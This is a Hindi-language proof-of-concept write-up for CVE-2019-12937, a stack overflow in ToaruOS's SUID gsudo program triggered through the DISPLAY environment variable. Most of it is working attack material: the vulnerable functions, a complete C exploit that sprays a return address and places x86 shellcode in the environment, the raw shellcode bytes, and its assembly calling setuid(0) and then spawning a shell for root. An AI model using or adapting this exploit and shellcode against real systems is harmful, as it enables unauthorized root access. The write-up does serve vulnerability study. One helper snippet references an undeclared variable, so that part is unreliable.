
CVE-2019-12937 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण: ToaruOS gsudo में स्टैक बफर ओवरफ्लो जो तैयार DISPLAY पर्यावरण चर और शेलकोड के माध्यम से रूट के लिए स्थानीय विशेषाधिकार वृद्धि की अनुमति देता है।
ToaruOS C भाषा में लिखित एक ओपन-सोर्स कंप्यूटर ऑपरेटिंग सिस्टम है, जो इलिनोइस विश्वविद्यालय के कंप्यूटर विज्ञान स्नातक द्वारा विकसित एक शौकिया ऑपरेटिंग सिस्टम है। ToAruOS POSIX और x86 आर्किटेक्चर पर चलता है। ToAruOS की मुख्य विशेषताओं में प्रोसेस और थ्रेड सपोर्ट, ELF बाइनरी सपोर्ट, रनटाइम लोडिंग मॉड्यूल, पाइप और विभिन्न प्रकार के टर्मिनल डिवाइस (TTY) सपोर्ट, वर्चुअल फ़ाइल सिस्टम सपोर्ट, EXT2 फ़ाइल सिस्टम सपोर्ट, सेमाफोर सपोर्ट आदि शामिल हैं।
ToaruOS 1.10.9 और उससे पहले के संस्करणों में gsudo के apps/gsudo.c फ़ाइल में एक बफर ओवरफ़्लो भेद्यता मौजूद है। हमलावर DISPLAY पर्यावरण चर की सहायता से इस भेद्यता का उपयोग करके अनुमतियों को रूट तक बढ़ा सकता है।
poc.c फ़ाइल को ToaruOS सिस्टम में कॉपी करें, और कॉपी डायरेक्टरी में निम्नलिखित चलाएँ
gcc -o poc poc.c
./poc
pex_connect फ़ंक्शन में sprintf का उपयोग करके स्ट्रिंग को जोड़ा जाता है, लेकिन पैरामीटर target की लंबाई की जाँच नहीं की जाती है, जब target बहुत लंबा होता है तो स्टैक ओवरफ़्लो हो जाता है।
FILE * pex_connect(char * target) {
char tmp[100];
sprintf(tmp, "/dev/pex/%s", target);
FILE * out = fopen(tmp, "r+");
if (out) {
setbuf(out, NULL);
}
return out;
}
जहाँ target पैरामीटर पर्यावरण चर DISPLAY का मान है।
yutani_t * yutani_init(void) {
char * server_name = getenv("DISPLAY");
if (!server_name) {
server_name = "compositor";
}
FILE * c = pex_connect(server_name);
if (!c) {
return NULL; /* Connection failed. */
}
......
......
}
gsudo प्रोग्राम में yutani_init फ़ंक्शन को कॉल किया जाता है। gsudo एक SUID अनुमति वाला प्रोग्राम है, इसलिए gsudo निष्पादित होने पर अनुमति root होती है, और उपरोक्त ओवरफ़्लो का उपयोग करके अनुमति उन्नयन किया जा सकता है।
int main(int argc, char ** argv) {
if (argc < 2) {
return 1;
}
yctx = yutani_init();
....
....
}
SUID प्रोग्राम s और t अनुमतियाँ बनाता है, ताकि सामान्य उपयोगकर्ता कुछ प्रोग्राम निष्पादित करते समय अस्थायी रूप से उस प्रोग्राम के स्वामी की अनुमतियाँ प्राप्त कर सकें।
नीचे SUID प्रोग्राम निष्पादन प्रक्रिया का परीक्षण करते हैं।
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void main()
{
int res;
res = setuid(0);
printf("%d\n",res);
system("/bin/sh");
}
setuid फ़ंक्शन वर्तमान उपयोगकर्ता की पहचान सेट करने के लिए उपयोग किया जाता है, जब पैरामीटर 0 होता है, तो वर्तमान प्रक्रिया को root पर सेट करता है। setuid को कॉल करने के बाद, शेल प्रोग्राम निष्पादित करें और वर्तमान उपयोगकर्ता को देखें।
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ gcc -o setuid setuid.c
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ ./setuid
-1
$ whoami
akashic
$ exit
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ sudo chown root ./setuid
[sudo] password for akashic:
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ sudo chmod u+s ./setuid
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ ./setuid
0
# whoami
root
# exit
ToaruOS में, ऑपरेटिंग सिस्टम के प्रारंभ होने के बाद, सभी प्रोग्राम fork से exec_elf तक निष्पादित होकर लोड होते हैं, प्रोग्राम की अनुमतियाँ मूल प्रक्रिया की अनुमतियाँ होती हैं। जब कोई प्रोग्राम setuid अनुमति रखता है, तो प्रक्रिया अनुमति वर्तमान फ़ाइल स्वामी की अनुमति पर सेट हो जाती है।
यह ओवरफ़्लो एक SUID अनुमति वाले प्रोग्राम में होता है, इसलिए स्टैक ओवरफ़्लो का उपयोग करके अनुमति उन्नयन किया जा सकता है।
ToaruOS में स्टैक रैंडमाइज़ेशन, हीप रैंडमाइज़ेशन, स्टैक नॉन-एक्जीक्यूटेबल आदि जैसी सुरक्षा तंत्र नहीं हैं, इसलिए उपयोग करना काफी सरल है, लेकिन gdb जैसे डिबगिंग उपकरण भी नहीं हैं, इसलिए थोड़ी मेहनत करनी पड़ती है।
स्टैक ओवरफ़्लो भेद्यता के माध्यम से eip को हमारे अनुमति उन्नयन पेलोड पते पर नियंत्रित करें। स्टैक पर कोड निष्पादित किया जा सकता है, और स्टैक पता भी स्थिर है, हम environ चर के माध्यम से पेलोड को स्टैक पर रखते हैं। argv और environ के पते सीधे प्रिंट करें।
#include <stdio.h>
extern char **environ;
void main(int argc, char *argv[])
{
printf("argv:%x\t\t\n",argv);
printf("environ:%x\t\n",env);
return 0;
}
परिणाम
argv: 3f00c00c
environ: 3f022010
पर्यावरण चर का मान सेट करें, eip मान को argv और environ के बीच नियंत्रित करें, eip पते में \x00 वर्ण नहीं होना चाहिए, Nop निर्देश भरकर बाईपास करें।
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define EIP "\xb0\xb0\x01\x3f"
#define EIP_DISTANCE 25U
char shellcode[] = {
0x31, 0xc0, 0x04, 0x18, 0x31, 0xdb, 0xcd, 0x7f, 0xeb, 0x1a, 0x5b, 0x31,
0xc0, 0x88, 0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c, 0x04, 0x07,
0x8d, 0x4b, 0x08, 0x8d, 0x53, 0x0c, 0xcd, 0x7f, 0x31, 0xc0, 0xcd, 0x7f,
0xe8, 0xe1, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68,
0x68, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x00
};
unsigned int shellcode_length = 57;
int main(void)
{
char payload[65536];
char vector[8192] = "DISPLAY=Akashic";
char * const arg[3] = { "/bin/gsudo", "meh", NULL };
char * const env[3] = { payload, vector, NULL };
memset(payload, 'A', sizeof(payload) - shellcode_length - 1);
payload[sizeof(payload) - shellcode_length - 1] = 0;
strcat(payload, shellcode);
for (unsigned int i = 0; i < EIP_DISTANCE; i++)
strcat(vector, EIP);
execve("/bin/gsudo", arg, env);
perror("execve()");
exit(EXIT_FAILURE);
}
पेलोड में पहले setuid(0) निष्पादित करके वर्तमान प्रक्रिया की अनुमति सेट करें, फिर system(/bin/shh) निष्पादित करके शेल लौटाएँ। toaruOS int 0x7f के माध्यम से सिस्टम फ़ंक्शन कॉल करता है, syscall_nums.h में सिस्टम कॉल नंबर हैं, setuid 24 से मेल खाता है, system 7 से मेल खाता है।
xor eax, eax
add al, 24
xor ebx, ebx
int 0x7f
jmp short end
start:
pop ebx
xor eax, eax
mov [ebx+7], al
mov [ebx+8], ebx
mov [ebx+12], eax
add al, 7
lea ecx, [ebx+8]
lea edx, [ebx+12]
int 0x7f
xor eax, eax
int 0x7f
end:
call start
db "/bin/shh"
db "XXXXXXXX"